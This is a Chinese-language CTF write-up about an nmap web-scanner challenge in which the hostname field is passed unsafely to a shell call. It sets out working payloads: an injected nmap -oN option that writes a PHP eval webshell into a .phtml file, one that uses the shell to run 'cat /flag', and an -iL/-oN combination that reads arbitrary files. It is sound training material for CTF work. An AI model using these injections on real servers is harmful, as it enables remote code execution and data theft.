记一道Nmap webshell获取
简述解题思路
主界面
扫描结果页面
思路很简单,猜测后端php的代码实现类似于<?php system("nmap -xxx '".hostname."'");?>
其中:-xxx指代预先设置的一些nmap参数,hostname是用户输入的IP,前面应该会有对用户输入的hostname进行过滤和检测的代码(然而此题太水,似乎并没有多少限制
所以我们就可以在hostname里进行一些注入操作。
尝试了一些简单的shell语句注入,似乎无果。而且看不到返回的结果,只会弹出“Host maybe down”的提示。也许是被过滤了,shell语句都没有执行的样子。
于是考虑一下nmap有无一些神奇的参数,然后尝试注入一些nmap的参数。
使用Nmap的option -oN
-o[]参数可以将nmap的结果输出到指定的文件中。
测试结果
尝试payload: 127.0.0.1 -oN out.txt
访问out.txt得到404
通过结果可以看到,输入内容应该是被引号包裹的。
尝试payload: 127.0.0.1' -oN out.txt '
注: 结尾的 '
并非必须,
得到host maybe down的结果。不过,访问**/out.txt**可以看到注入成功了。
1 | # Nmap 6.47 scan initiated Sun May 30 06:11:32 2021 as: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/ff8a8 -oN out.txt 127.0.0.1\ ' |
通过这返回值,也可以比较精确地推断php源代码了。
1 | <?php system("nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/ff8a8 '" . hostname . "'"); ?> |
不过,对于我们接下来的操作,用处不大。
既然可以访问到写入的文件了,我们只需要控制写入的文件,就可以获取到webshell,比如写入一条一句话木马。
跳过中间的一些尝试,直接看最终的结果吧。
payload: ' <?=eval($_GET[cmd]);?> -oN a.phtml '
注1:php字符会被过滤,返回Hacker… 所以使用<?= ?>
的标签,并使用.phtml
文件后缀
注2:由于 **'**
会被转义成**\'
(并不影响操作) 所以最后一个 '
前面加了一个空格,避免文件名和\**连起来
原理:在nmap里,非option参数(-xxx xxx型),也就是单独的参数,就会被当作一个hostname,因为nmap执行的的任何信息都会被写入到文件中(即使这个hostname无效,他也会写入Failed to resolve “[hostname]“),所以,利用这个特性,把php代码当作hostname写入进去。
访问**/a.phtml** 就可以看到写入的🐎了。php标签被php解释器解析了,所以看不到写入的代码。
测试一下。
接下来就是常见的webshell使用了。
payload:a.phtml?cmd=system("cat /flag");
得到flag。
Namp option -oN -iL 组合
-iL 从文件中读取hosts列表
利用前面提到的-oN特性。直接用-iL读取**/flag**
直接上payload
payload: ' -iL /flag -oN flag.txt '
然后访问**/flag.txt**就可以得到flag。
结语
比较水的一题,学习一下nmap的一些特性吧。